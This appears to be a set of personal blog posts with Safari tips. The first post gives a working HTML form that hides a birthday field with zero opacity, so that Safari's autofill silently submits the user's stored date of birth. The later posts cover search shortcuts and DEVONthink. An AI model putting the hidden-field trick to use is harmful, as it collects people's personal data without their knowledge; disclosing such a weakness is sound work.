Autofill birthday fields in Safari
So I quickly came up with an evil idea. Would it be possible to abuse that feature to automatically collect birthdays from users on say a signup form?
And yes, it’s possible. Save the following HTML on your disk:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>
Settings - Profile - brightkite.com
</title>
</head>
<body>
<form action="http://localhost/" method="get">
<label for="fullname">Full name</label>
<input id="fullname" name="fullname" />
<input type="submit" />
<input id="street" name="street" />
<input id="dob" name="dob" style="opacity:0" />
</form>
</body>
</html>
It defines a form with the three fields full name, street and birthday. The birthday field is hidden – so the user has no idea that it will be submitted as well. The street field is just in there for easy checking if the autocompletion is working.
Then open the form in Safari (I tried on Version 4 Public Beta 5528.16), enter your full name in the first field and use the tab key to activate the submit button. If everything worked, you’ll see the street field autofilled as you’d expect. But when you submit, the birthday is submitted as well – if you have it stored in your address book.
Browser shortcuts with multiple keywords
There is an additional feature there which Firefox doesn’t have: you can enter multiple search terms with a quick search. A good example where you want that is SBB.
Right-click in any of the form fields there and select the option “Add as Saft shortcut…”. Then give it a good name and shortcut. The URL is already prefilled. For the SBB example it’s
http://sbb.ch/ {REQ0JourneyStopsS0G=%@, REQ0JourneyStopsS0A=7, REQ0JourneyStopsZ0G=%@, REQ0JourneyStopsZ0A=7, REQ0JourneyStops1.0G=%@, REQ0JourneyDate=%@, REQ0JourneyTime=%@}
There are five different form options here. Cut out the ones you don’t need. In my case I ended up with the from and to:
http://sbb.ch/ {REQ0JourneyStopsS0G=%@, REQ0JourneyStopsZ0G=%@}
Now to start a search just enter “sbb st. gallen, winterthur” in the URL and it will give you the current connections from “st. gallen” to “winterthur”. Use the coma to separate the different search terms.
Copy web site to DEVONthink
Using the internal web browser of DEVONthink it’s possible to copy web sites as rich text into DEVONthink. But it’s a hassle to copy first the web site link into DEVONthink, then open it, and from there create the rich text note. So I’ve always wanted to do that from Safari directly.
Lo and behold, it’s easy to do it from Safari: In the services menu (which I so far almost never used) there is a DEVONthink pro entry. Just select some part of the current web site then select Safari->Services->DEVONthink Pro->Take Rich Note. The short cut is Apple+).
It’s even possible to add the selection to the currently selected document in DEVONthink using Append Rich Note.